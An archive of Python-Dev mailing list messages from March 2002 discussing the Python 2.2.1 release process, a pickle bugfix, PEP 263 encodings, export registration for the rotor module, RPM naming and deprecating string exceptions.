In-Reply-To: <E16pfBu-0000LN-00@usw-pr-cvs1.sourceforge.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCELMOHAA.tim.one@comcast.net>

[Guido]
> Modified Files:
> 	pickle.py
> Log Message:
> Fix for SF 502085.
> Don't die when issubclass(t, TypeType) fails.
>
> Bugfix candidate (but I think it's too late for 2.2.1).

Because ...?  The 2.2.1c2 Windows installer won't get built today, and the
tarball won't get cut at least until Michael has another cut at the NEWS
file.  So it's not too late to put it into 2.2.1 if you feel confident about
this change.



From guido@python.org  Tue Mar 26 01:28:20 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 25 Mar 2002 20:28:20 -0500
Subject: [Python-Dev] RE: [Python-checkins] CVS: python/dist/src/Lib pickle.py,1.57,1.58
In-Reply-To: Your message of "Mon, 25 Mar 2002 20:11:37 EST."
 <LNBBLJKPBEHFEDALKOLCCELMOHAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCELMOHAA.tim.one@comcast.net>
Message-ID: <200203260128.g2Q1SLA11122@pcp742651pcs.reston01.va.comcast.net>

> > Bugfix candidate (but I think it's too late for 2.2.1).
> 
> Because ...?  The 2.2.1c2 Windows installer won't get built today,
> and the tarball won't get cut at least until Michael has another cut
> at the NEWS file.  So it's not too late to put it into 2.2.1 if you
> feel confident about this change.

Because Michael said "no more checkins".  He's also gone to bed, I
trust, and I don't feel like overriding him without talking to him
first.  Maybe he'll be happy to add this to the branch in the
morning.  But if he doesn't, I don't blame him.  In the grand scheme
of things it's not a very important or urgent bug.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Tue Mar 26 01:39:11 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 25 Mar 2002 19:39:11 -0600
Subject: [Python-Dev] RE: [Python-checkins] CVS: python/dist/src/Lib pickle.py,1.57,1.58
In-Reply-To: <200203260128.g2Q1SLA11122@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCELMOHAA.tim.one@comcast.net>
 <200203260128.g2Q1SLA11122@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15519.53567.411530.654338@12-248-41-177.client.attbi.com>

    Guido> Bugfix candidate (but I think it's too late for 2.2.1).

    Tim> Because ...?  

    Guido> Because Michael said "no more checkins".  

There's always a third possibility: 2.2.1c3, but I would assume that's
mostly Michael's call.

Skip



From greg@cosc.canterbury.ac.nz  Tue Mar 26 01:46:31 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Tue, 26 Mar 2002 13:46:31 +1200 (NZST)
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <15519.25116.710344.173313@beluga.mojam.com>
Message-ID: <200203260146.NAA29966@s454.cosc.canterbury.ac.nz>

Jim> It can't be YAGNI if there is a need.

Maybe the term should be MPAGNI (Most People AGNI) or
MOTTYAGNI (Most Of The Time YAGNI).

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From andymac@bullseye.apana.org.au  Mon Mar 25 22:02:17 2002
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Tue, 26 Mar 2002 08:02:17 +1000 (est)
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <2m3cyo7vop.fsf@starship.python.net>
Message-ID: <Pine.OS2.4.32.0203260750560.40-100000@tenring.andymac.org>

On 25 Mar 2002, Michael Hudson wrote:

> Andrew MacIntyre <andymac@bullseye.apana.org.au> writes:

{...}

> > Sorry, I've not had time to look at this for the OS/2-EMX build; maybe
> > tonight.
>
> I thought OS/2-EMX was only going to be supported in 2.3?  I'm
> certainly not going to port all those checkins you made to the -maint
> branch.

I wasn't expecting them to be backported, and I don't expect the release
sourceball to contain the OS/2 EMX changes until 2.3 either.

I do however plan a binary release of 2.2.1 from my local CVS.  If there
were any problems apparently not related specifically to my OS/2 patches,
I'd let you know.  In particular the test_math run you requested feedback
about (as a datapoint, not something you could/should resolve).

As I've had system problems, and am not sure whether I've got my local
vendor-branch 2.2 CVS tree straightened out after importing 2.2C1, I
haven't had anything to report :-(

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From barry@zope.com  Tue Mar 26 04:59:38 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Mon, 25 Mar 2002 23:59:38 -0500
Subject: [Python-Dev] Mandrake 8.2 anyone?
References: <15519.45498.261453.988021@anthem.wooz.org>
 <200203260054.g2Q0s4H10911@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15520.58.710714.649719@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> Fred has a good solution for this:

    GvR>   chmod 0 /dev/audio

Not if you still want your audio to work, eh?

-Barry


From barry@zope.com  Tue Mar 26 05:05:48 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Tue, 26 Mar 2002 00:05:48 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <15519.25116.710344.173313@beluga.mojam.com>
 <200203260146.NAA29966@s454.cosc.canterbury.ac.nz>
Message-ID: <15520.428.786627.56659@anthem.wooz.org>

>>>>> "GE" == Greg Ewing <greg@cosc.canterbury.ac.nz> writes:

    Jim> It can't be YAGNI if there is a need.

    | Maybe the term should be MPAGNI (Most People AGNI) or
    | MOTTYAGNI (Most Of The Time YAGNI).

Or YANIUYDATYHI (you ain't gonna need it until you do, and then you'll
hate it).

pronounced-yani-yoo-daddy-hi-ly y'rs,
-B


From fdrake@acm.org  Tue Mar 26 05:04:27 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Tue, 26 Mar 2002 00:04:27 -0500
Subject: [Python-Dev] Mandrake 8.2 anyone?
In-Reply-To: <15520.58.710714.649719@anthem.wooz.org>
References: <15519.45498.261453.988021@anthem.wooz.org>
 <200203260054.g2Q0s4H10911@pcp742651pcs.reston01.va.comcast.net>
 <15520.58.710714.649719@anthem.wooz.org>
Message-ID: <15520.347.793704.684199@grendel.zope.com>

Barry A. Warsaw writes:
 > Not if you still want your audio to work, eh?

That was not a stated requirement.  I developed my solution to solve
two problems:

    - linuxaudiodev didn't work for me, but made noise.  This seemed
      to be specific to the sound driver for my laptop.

    - The audio device made noise.  Any application which caused this
      to happen is clearly buggy, so it had to be disabled.

(Obviously I didn't have enough Cravin' Dogs MP3s. ;)


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From barry@zope.com  Tue Mar 26 05:13:51 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Tue, 26 Mar 2002 00:13:51 -0500
Subject: [Python-Dev] Mandrake 8.2 anyone?
References: <15519.45498.261453.988021@anthem.wooz.org>
 <200203260054.g2Q0s4H10911@pcp742651pcs.reston01.va.comcast.net>
 <15520.58.710714.649719@anthem.wooz.org>
 <15520.347.793704.684199@grendel.zope.com>
Message-ID: <15520.911.338090.423746@anthem.wooz.org>

>>>>> "Fred" == Fred L Drake, Jr <fdrake@acm.org> writes:

    Fred> Barry A. Warsaw writes:
    >> Not if you still want your audio to work, eh?

    Fred> That was not a stated requirement.  I developed my solution
    Fred> to solve two problems:

    Fred>     - linuxaudiodev didn't work for me, but made noise.
    Fred> This seemed to be specific to the sound driver for my
    Fred> laptop.

I actually have no idea if linuxaudiodev will work for me on this
machine.  It works just fine on my laptop running MD8.1, if you call
Guido's screetchy Michael Palin impression "working" <wink>.

    Fred>     - The audio device made noise.  Any application which
    Fred> caused this to happen is clearly buggy, so it had to be
    Fred> disabled.

Near as I can tell, my audio device works just fine, it's Python's
linuxaudiodev test under MD8.2 that's broken.

    Fred> (Obviously I didn't have enough Cravin' Dogs MP3s. ;)

Or too much! :)

napster-us-all-you-want-baby!-ly y'rs,
-Barry


From aahz@pythoncraft.com  Tue Mar 26 05:18:40 2002
From: aahz@pythoncraft.com (Aahz)
Date: Tue, 26 Mar 2002 00:18:40 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <200203260146.NAA29966@s454.cosc.canterbury.ac.nz>
References: <15519.25116.710344.173313@beluga.mojam.com> <200203260146.NAA29966@s454.cosc.canterbury.ac.nz>
Message-ID: <20020326051839.GA23805@panix.com>

On Tue, Mar 26, 2002, Greg Ewing wrote:
>
> Jim> It can't be YAGNI if there is a need.
> 
> Maybe the term should be MPAGNI (Most People AGNI) or
> MOTTYAGNI (Most Of The Time YAGNI).

Which takes us right back to my +1 on "80%".
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"We should forget about small efficiencies, about 97% of the time.
Premature optimization is the root of all evil."  --Knuth


From fdrake@acm.org  Tue Mar 26 05:28:29 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Tue, 26 Mar 2002 00:28:29 -0500
Subject: [Python-Dev] Mandrake 8.2 anyone?
In-Reply-To: <15520.911.338090.423746@anthem.wooz.org>
References: <15519.45498.261453.988021@anthem.wooz.org>
 <200203260054.g2Q0s4H10911@pcp742651pcs.reston01.va.comcast.net>
 <15520.58.710714.649719@anthem.wooz.org>
 <15520.347.793704.684199@grendel.zope.com>
 <15520.911.338090.423746@anthem.wooz.org>
Message-ID: <15520.1789.665709.434972@grendel.zope.com>

Barry A. Warsaw writes:
 > Near as I can tell, my audio device works just fine, it's Python's
 > linuxaudiodev test under MD8.2 that's broken.

Err, no... *any* noise from a computer speaker is "broken" in my
view.  If I wanna hear the Cravin' Dogs, I'll pop a CD in the stereo,
or catch a gig.  ;-)


sooner-cut-the-wires-to-the-speaker-than-let-it-make-noise-ly y'rs,

  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From fredrik@pythonware.com  Tue Mar 26 08:20:12 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Tue, 26 Mar 2002 09:20:12 +0100
Subject: PEP 263 phase 2 implementation (Re: [Python-Dev] PEP 263 considered faulty (for some Japanese))
References: <200203260002.JAA10304@suzuki611.ngo.okisoft.co.jp>
Message-ID: <003501c1d49f$124d7800$ced241d5@hagrid>

SUZUKI Hisao wrote:

> > People had been proposing to introduce b'' strings for binary data, to
> > allow to switch 'plain' strings to denote Unicode strings at some
> > point, but this is a different PEP.
> 
> I think you need not introduce b'' strings at all; you can keep
> it simple as it is.

the reason for adding b-strings isn't to keep the implementation
simple, it's because we want to get rid of the difference between
u-strings and 8-bit text strings in the future.

in today's Python, mixing u-strings with 8-bit text is anything but
simple.

</F>



From mwh@python.net  Tue Mar 26 09:59:36 2002
From: mwh@python.net (Michael Hudson)
Date: 26 Mar 2002 09:59:36 +0000
Subject: [Python-Dev] RE: [Python-checkins] CVS: python/dist/src/Lib pickle.py,1.57,1.58
In-Reply-To: Guido van Rossum's message of "Mon, 25 Mar 2002 20:28:20 -0500"
References: <LNBBLJKPBEHFEDALKOLCCELMOHAA.tim.one@comcast.net> <200203260128.g2Q1SLA11122@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <2msn6nr6nr.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

> > > Bugfix candidate (but I think it's too late for 2.2.1).
> > 
> > Because ...?  The 2.2.1c2 Windows installer won't get built today,
> > and the tarball won't get cut at least until Michael has another cut
> > at the NEWS file.  So it's not too late to put it into 2.2.1 if you
> > feel confident about this change.
> 
> Because Michael said "no more checkins".  He's also gone to bed, 

I've gotten up again now.

> I trust, and I don't feel like overriding him without talking to him
> first.  Maybe he'll be happy to add this to the branch in the
> morning.

It looks harmless enough, it's in.

Skip wrote:

> There's always a third possibility: 2.2.1c3, but I would assume
> that's mostly Michael's call.

Will all due repect, NFW[0].

Cheers,
M.

[0] If it helps to work this acronym out, the middle word is rude.

-- 
     ARTHUR:  Why are there three of you?
  LINTILLAS:  Why is there only one of you?
     ARTHUR:  Er... Could I have notice of that question?
                   -- The Hitch-Hikers Guide to the Galaxy, Episode 11


From mwh@python.net  Tue Mar 26 10:10:05 2002
From: mwh@python.net (Michael Hudson)
Date: 26 Mar 2002 10:10:05 +0000
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: Andrew MacIntyre's message of "Tue, 26 Mar 2002 08:02:17 +1000 (est)"
References: <Pine.OS2.4.32.0203260750560.40-100000@tenring.andymac.org>
Message-ID: <2m663jfxmq.fsf@starship.python.net>

Andrew MacIntyre <andymac@bullseye.apana.org.au> writes:

> On 25 Mar 2002, Michael Hudson wrote:
> 
> > Andrew MacIntyre <andymac@bullseye.apana.org.au> writes:
> 
> {...}
> 
> > > Sorry, I've not had time to look at this for the OS/2-EMX build; maybe
> > > tonight.
> >
> > I thought OS/2-EMX was only going to be supported in 2.3?  I'm
> > certainly not going to port all those checkins you made to the -maint
> > branch.
> 
> I wasn't expecting them to be backported, and I don't expect the release
> sourceball to contain the OS/2 EMX changes until 2.3 either.

Good.

> I do however plan a binary release of 2.2.1 from my local CVS.  If there
> were any problems apparently not related specifically to my OS/2 patches,
> I'd let you know.

It's getting kind of late for these to make any difference...

> In particular the test_math run you requested feedback about (as a
> datapoint, not something you could/should resolve).

Again, good (the me not having to do anythign part :).

> As I've had system problems, and am not sure whether I've got my local
> vendor-branch 2.2 CVS tree straightened out after importing 2.2C1, I
> haven't had anything to report :-(

Well, OK, it would be nice to have, but don't push yourself about
it...

Cheers,
M.

-- 
  Monte Carlo sampling is no way to understand code.
                                  -- Gordon McMillan, comp.lang.python


From walter@livinglogic.de  Tue Mar 26 10:32:03 2002
From: walter@livinglogic.de (=?ISO-8859-15?Q?Walter_D=F6rwald?=)
Date: Tue, 26 Mar 2002 11:32:03 +0100
Subject: [Python-Dev] iterkeys, itervalues, iteritems for dict-proxies
References: <3C9F5EB2.7010609@livinglogic.de> <200203251741.g2PHfBk01542@pcp742651pcs.reston01.va.comcast.net> <3C9F62ED.9030002@livinglogic.de>              <15519.26031.417599.774681@grendel.zope.com> <200203251842.g2PIg4Z01932@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3CA04E23.9040204@livinglogic.de>

Guido van Rossum wrote:

>>Walter:
>> > I already checked in the change. I hope this is OK!
>>
>>I noticed that there were no changes to the test suite.  Could you add
>>that?
> 
> 
> Also, I notice that Walter very recently got commit provileges.  I
> though that part of the deal with new committers was to make SF
> patches first and check them in only after someone more experienced
> has reviewed the patch.

Sorry for that. I'll make a patch next time!

Bye,
    Walter Dörwald

-- 
Walter Dörwald · LivingLogic AG, Bayreuth/Germany · www.livinglogic.de



From martin@v.loewis.de  Tue Mar 26 08:25:04 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 26 Mar 2002 09:25:04 +0100
Subject: PEP 263 phase 2 implementation (Re: [Python-Dev] PEP 263 considered faulty (for some Japanese))
In-Reply-To: <200203260002.JAA10304@suzuki611.ngo.okisoft.co.jp>
References: <200203260002.JAA10304@suzuki611.ngo.okisoft.co.jp>
Message-ID: <m34rj368in.fsf@mira.informatik.hu-berlin.de>

SUZUKI Hisao <suzuki611@oki.com> writes:

> Note that it is _not_ a challenge for my implementation at all.
> You can use your binary strings as they are at present.  Please
> try it.

Actually, I did (see my comments on sf): In a Unicode string, escape
processing of, say, u"\=F6" works incorrectly in your implementation,
and in a plain string, processing is incorrect if you have an encoding
which uses '\' as the second byte.

> > People had been proposing to introduce b'' strings for binary data, to
> > allow to switch 'plain' strings to denote Unicode strings at some
> > point, but this is a different PEP.
>=20
> I think you need not introduce b'' strings at all; you can keep
> it simple as it is.

The rationale is different: people where proposing that all string
literals should be Unicode strings - then the question is how to
denote byte strings.

Regards,
Martin



From skip@pobox.com  Tue Mar 26 11:31:56 2002
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 26 Mar 2002 05:31:56 -0600
Subject: [Python-Dev] RE: [Python-checkins] CVS: python/dist/src/Lib pickle.py,1.57,1.58
In-Reply-To: <2msn6nr6nr.fsf@starship.python.net>
References: <LNBBLJKPBEHFEDALKOLCCELMOHAA.tim.one@comcast.net>
 <200203260128.g2Q1SLA11122@pcp742651pcs.reston01.va.comcast.net>
 <2msn6nr6nr.fsf@starship.python.net>
Message-ID: <15520.23596.901292.784390@12-248-41-177.client.attbi.com>

    Skip> There's always a third possibility: 2.2.1c3, but I would assume
    Skip> that's mostly Michael's call.

    Michael> Will all due repect, NFW[0].

I sort of suspected your answer would be in that general vicinity...

Skip


From guido@python.org  Tue Mar 26 14:35:48 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 26 Mar 2002 09:35:48 -0500
Subject: [Python-Dev] Mandrake 8.2 anyone?
In-Reply-To: Your message of "Mon, 25 Mar 2002 23:59:38 EST."
 <15520.58.710714.649719@anthem.wooz.org>
References: <15519.45498.261453.988021@anthem.wooz.org> <200203260054.g2Q0s4H10911@pcp742651pcs.reston01.va.comcast.net>
 <15520.58.710714.649719@anthem.wooz.org>
Message-ID: <200203261435.g2QEZmB12220@pcp742651pcs.reston01.va.comcast.net>

>     GvR> Fred has a good solution for this:
> 
>     GvR>   chmod 0 /dev/audio
> 
> Not if you still want your audio to work, eh?

You didn't mention that.  You complained that running the tests froze
your audio driver, I believe, and that means that your audio driver is
busted -- so leaving the device writable isn't gonna help much.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Tue Mar 26 19:19:40 2002
From: mwh@python.net (Michael Hudson)
Date: Tue, 26 Mar 2002 19:19:40 +0000 (GMT)
Subject: [Python-Dev] RELEASED: Python 2.2.1c2
Message-ID: <Pine.LNX.4.44.0203261910570.30840-100000@starship.python.net>

We've released a second release candidate for the next bugfix release
of Python, 2.2.1.

There haven't been many changes since 2.2.1c1, just a few fixes.

Note for AIX users: there are still problems with AIX in this release,
and there has not been time to repair them without fear of breaking
platforms that currently work.  Hopefully by the time of the release
of 2.2.1 final we will be able to provide a recipe that allows AIX
users to build and run Python.

Get the scoop (and the files) here:

    http://www.python.org/2.2.1/

In order to make 2.2.1 a solid release, please help by

+ Building the release, and running the test suite on your platform.
+ Running *your* extension modules' and applications' test suites
  against this release.
+ Reporting any problems to the bug tracker at sf:

    http://sourceforge.net/bugs/?group_id=5470

This being a bugfix release, there are no exciting new features -- we just
fixed a lot of bugs.  For a moderately complete list, please see:

    http://sourceforge.net/project/shownotes.php?release_id=81373

Feel free to email me the output of "make test", but please check that
you are not duplicating effort by reading this page first:

    http://starship.python.net/crew/mwh/221c2-reports.txt

2.2.1 final will follow "soon".

Cheers,
The Python development team.



From neal@metaslash.com  Tue Mar 26 20:31:26 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Tue, 26 Mar 2002 15:31:26 -0500
Subject: [Python-Dev] rotor module (exporting encryption)
References: <3C95C439.D5B3C573@lemburg.com> <3C961E37.56BB3F30@metaslash.com>
 <3C962276.319950D5@lemburg.com> <3C966AEA.CA91701C@metaslash.com> <m3k7s9qcm6.fsf@mira.informatik.hu-berlin.de> <3C96FDA9.95F0750C@lemburg.com>
Message-ID: <3CA0DA9E.49460419@metaslash.com>

"M.-A. Lemburg" wrote:
> 
> While discussing the PSF contrib docs with Martin, we came
> across a possible violation of the US export regulations:
>
> According to the BXA web-site, all crypto code with more
> than 56 bit keys, has to be regsitered with the BXA. rotor
> uses 80 bit keys.
>
> > I wrote:
> >
> > > The only thing I was able to find was that mail was supposed to be
> > > sent to: crypt@bxa.doc.gov.  I don't know if this is correct or not.
> > > If anyone wants, I can send a message to them asking what needs
> > > to be done?
> >
> > Asking can't hurt.

I take that back, sometimes it can. :-)

I spoke with Lynn Griffin at the BXA about this subject.
She said the only requirement is to fill out this form (I filled
in some of the details):

BEGIN FORM
----------
SUBJECT: ENC NOTIFICATION

SUBMISSION TYPE: ENC
SUBMITTED BY:
SUBMITTED FOR: (company or person exporting the encryption item)
POINT OF CONTACT:
PHONE and/or FAX:
MANUFACTURER: (if relevant)
PRODUCT NAME/MODEL #: Python 2.2
ECCN: 5D002
NOTIFICATION: http://www.python.org
	      http://python.org/ftp/python/2.2/
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Modules/rotormodule.c
--------
END FORM

The instructions are available from:  http://www.bxa.doc.gov/Encryption/PubAvailEncSourceCodeNofify.html.

The email should be sent to: crypt@bxa.doc.gov.

She also recommended a disclaimer on the website that the software
is exported under US Export laws and can't be exported to the 7-8 countries
or other specifically prohibited individuals.

It seems we should submit this form, but for whom?  PSF?
Who should be the point of contact?

Neal


From fdrake@acm.org  Tue Mar 26 20:30:32 2002
From: fdrake@acm.org (Fred L. Drake)
Date: Tue, 26 Mar 2002 15:30:32 -0500 (EST)
Subject: [Python-Dev] [development doc updates]
Message-ID: <20020326203032.DB2D218EAD0@grendel.zope.com>

The development version of the documentation has been updated:

    http://python.sourceforge.net/devel-docs/

Minor update; shows how the "What's New" document is linked in.


From martin@v.loewis.de  Tue Mar 26 20:37:41 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 26 Mar 2002 21:37:41 +0100
Subject: [Python-Dev] rotor module (exporting encryption)
In-Reply-To: <3CA0DA9E.49460419@metaslash.com>
References: <3C95C439.D5B3C573@lemburg.com> <3C961E37.56BB3F30@metaslash.com>
 <3C962276.319950D5@lemburg.com> <3C966AEA.CA91701C@metaslash.com>
 <m3k7s9qcm6.fsf@mira.informatik.hu-berlin.de>
 <3C96FDA9.95F0750C@lemburg.com> <3CA0DA9E.49460419@metaslash.com>
Message-ID: <m38z8f12wa.fsf@mira.informatik.hu-berlin.de>

Neal Norwitz <neal@metaslash.com> writes:

> It seems we should submit this form, but for whom?  PSF?
> Who should be the point of contact?

Thanks for collecting this information. The entire discussion
originated from the copyright assignment forms that the PSF wants to
use in the future, so the PSF would also be the organization which
"exports" Python, atleast from the sf.net and python.org copies.

We'll discuss this in the upcoming Board meeting.

Regards,
Martin



From greg@cosc.canterbury.ac.nz  Wed Mar 27 00:17:05 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 27 Mar 2002 12:17:05 +1200 (NZST)
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <15520.428.786627.56659@anthem.wooz.org>
Message-ID: <200203270017.MAA00175@s454.cosc.canterbury.ac.nz>

barry@zope.com (Barry A. Warsaw):

> Or YANIUYDATYHI
> 
> pronounced-yani-yoo-daddy-hi-ly y'rs,

Do you mind!? I've never done that to my daddy and
I don't intend to start! :-)


From jafo-python-dev@tummy.com  Wed Mar 27 03:48:15 2002
From: jafo-python-dev@tummy.com (Sean Reifschneider)
Date: Tue, 26 Mar 2002 20:48:15 -0700
Subject: [Python-Dev] Discussion on the Python RPMs...
Message-ID: <20020326204815.A16962@tummy.com>

Guido and I have, for a while, been having some discussions about the
Python RPMs.  He suggested that I bring the topic up here for further
discussion.

One of the biggest things that we've discussed is that of the naming of the
resultant Python.  With the 2.1 releases, I started installing the latest
stable Python as /usr/bin/python2, so as not to conflict with the Red Hat
1.5.2 version installed in /usr/bin/python (which many of the system tools
require).

For test releases, I've been using the full release name as the extension,
/usr/bin/python2.2c1 (or was it just python2.2?).  This is so that multiple
versions can be installed 1.5.2, 2.1, 2.2c1...

I know there are some other things brought up, but I can't remember them
off hand.  If it weren't for hackingsociety.org, I probably wouldn't have
*ANY* time to work on community projects this month...

So, first of all, comments on the current naming scheme?  Note that the
binary extension can be easily changed by modifying one line in the .spec
file and building again.  Handy for users who just want to forget about
1.5.2 and don't mind that some of the RedHat tools may break.

Also, any other comments on the RPMs?

Thanks,
Sean
-- 
 Canadian phone sex: What kind of hockey jersey are you wearing?
Sean Reifschneider, Inimitably Superfluous <jafo@tummy.com>
tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python


From martin@v.loewis.de  Wed Mar 27 09:33:47 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 27 Mar 2002 10:33:47 +0100
Subject: [Python-Dev] Discussion on the Python RPMs...
In-Reply-To: <20020326204815.A16962@tummy.com>
References: <20020326204815.A16962@tummy.com>
Message-ID: <m31ye6xslg.fsf@mira.informatik.hu-berlin.de>

Sean Reifschneider <jafo-python-dev@tummy.com> writes:

> For test releases, I've been using the full release name as the extension,
> /usr/bin/python2.2c1 (or was it just python2.2?).  This is so that multiple
> versions can be installed 1.5.2, 2.1, 2.2c1...

That doesn't really work, does it? 2.2c1 would overwrite
/usr/lib/python2.2, which might be there from a prior Python 2.2
installation. If it is just python2.2, that scheme would work.

> Also, any other comments on the RPMs?

Ideally, there should be an easy way to either install your RPMs
alongside with the system RPMs, or to replace the system RPMs. In the
latter case, 'rpm -U' could be used to upgrade from the system Python
to your binaries. This might be tricky, as the names and structures of
the Python RPMs vary widely.

Regards,
Martin


From fp@contact.de  Wed Mar 27 10:39:27 2002
From: fp@contact.de (Frank Patz)
Date: Wed, 27 Mar 2002 11:39:27 +0100
Subject: [Python-Dev] RE: RELEASED: Python 2.2.1c2
In-Reply-To: <Pine.LNX.4.44.0203261910570.30840-100000@starship.python.net>
Message-ID: <NEBBIGHKAHJGMPJEEAGPKENMGGAA.fp@contact.de>

> [...]
> Note for AIX users: there are still problems with AIX in this release,
> and there has not been time to repair them without fear of breaking
> platforms that currently work.  Hopefully by the time of the release
> of 2.2.1 final we will be able to provide a recipe that allows AIX
> users to build and run Python.
> [...]

Hmm, can someone shed more light on this issue?

	- frank
--
fp at contact dot de


From martin@v.loewis.de  Wed Mar 27 11:23:12 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 27 Mar 2002 12:23:12 +0100
Subject: [Python-Dev] RE: RELEASED: Python 2.2.1c2
In-Reply-To: <NEBBIGHKAHJGMPJEEAGPKENMGGAA.fp@contact.de>
References: <NEBBIGHKAHJGMPJEEAGPKENMGGAA.fp@contact.de>
Message-ID: <m3u1r2uue7.fsf@mira.informatik.hu-berlin.de>

"Frank Patz" <fp@contact.de> writes:

> > Note for AIX users: there are still problems with AIX in this release,
> > and there has not been time to repair them without fear of breaking
> > platforms that currently work.  Hopefully by the time of the release
> > of 2.2.1 final we will be able to provide a recipe that allows AIX
> > users to build and run Python.
> > [...]
> 
> Hmm, can someone shed more light on this issue?

I think this is a red herring: Some user, for some reason, does not
have cc_r. According to a number of other AIX users, cc_r should
always be available, so it appears to be an installation bug of the
AIX system in question. I don't think it deserves fixing.

Regards,
Martin



From martin@v.loewis.de  Wed Mar 27 16:57:52 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: Wed, 27 Mar 2002 17:57:52 +0100
Subject: [Python-Dev] Deprecating string exceptions
Message-ID: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>

http://python.org/sf/518846 reports that new-style classes cannot be
used as exceptions. I think it is desirable that this is fixed, but I
also believe that it conflicts with string exceptions. So I would like
to propose that string exceptions are deprecated for Python 2.3, in
order to remove them in Python 2.4, simultaneously allowing arbitrary
objects as exceptions.

Regards,
Martin



From paul@prescod.net  Wed Mar 27 17:37:16 2002
From: paul@prescod.net (Paul Prescod)
Date: Wed, 27 Mar 2002 09:37:16 -0800
Subject: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
Message-ID: <3CA2034C.BC70441D@prescod.net>

"Martin v. Loewis" wrote:
> 
> http://python.org/sf/518846 reports that new-style classes cannot be
> used as exceptions. I think it is desirable that this is fixed, but I
> also believe that it conflicts with string exceptions. So I would like
> to propose that string exceptions are deprecated for Python 2.3, in
> order to remove them in Python 2.4, simultaneously allowing arbitrary
> objects as exceptions.

Should it be arbitrary objects or just subclasses of exception: "It is
recommended that user-defined exceptions in new code be derived from
Exception, although for backward compatibility reasons, this is not
required. Eventually this rule will be tightened."

 * http://www.python.org/doc/essays/stdexceptions.html

 Paul Prescod


From guido@python.org  Wed Mar 27 18:08:26 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 27 Mar 2002 13:08:26 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Wed, 27 Mar 2002 17:57:52 +0100."
 <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
Message-ID: <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>

> http://python.org/sf/518846 reports that new-style classes cannot be
> used as exceptions. I think it is desirable that this is fixed, but I
> also believe that it conflicts with string exceptions.

Can you explain this conflict?  Couldn't this be worked around by
making an exception for strings?

> So I would like
> to propose that string exceptions are deprecated for Python 2.3, in
> order to remove them in Python 2.4, simultaneously allowing arbitrary
> objects as exceptions.

I think string exceptions are used enough that we should deprecate
them on a slower schedule.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Mar 27 18:10:31 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 27 Mar 2002 13:10:31 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Wed, 27 Mar 2002 09:37:16 PST."
 <3CA2034C.BC70441D@prescod.net>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
Message-ID: <200203271810.g2RIAVt26251@pcp742651pcs.reston01.va.comcast.net>

> Should it be arbitrary objects or just subclasses of exception: "It is
> recommended that user-defined exceptions in new code be derived from
> Exception, although for backward compatibility reasons, this is not
> required. Eventually this rule will be tightened."

Can we safely make Exception (and hence all built-in exceptions) a
new-style class?  This could break user code (even when we don't
enforce that exceptions are derived from Exception).

--Guido van Rossum (home page: http://www.python.org/~guido/)



From jmiller@stsci.edu  Wed Mar 27 18:34:17 2002
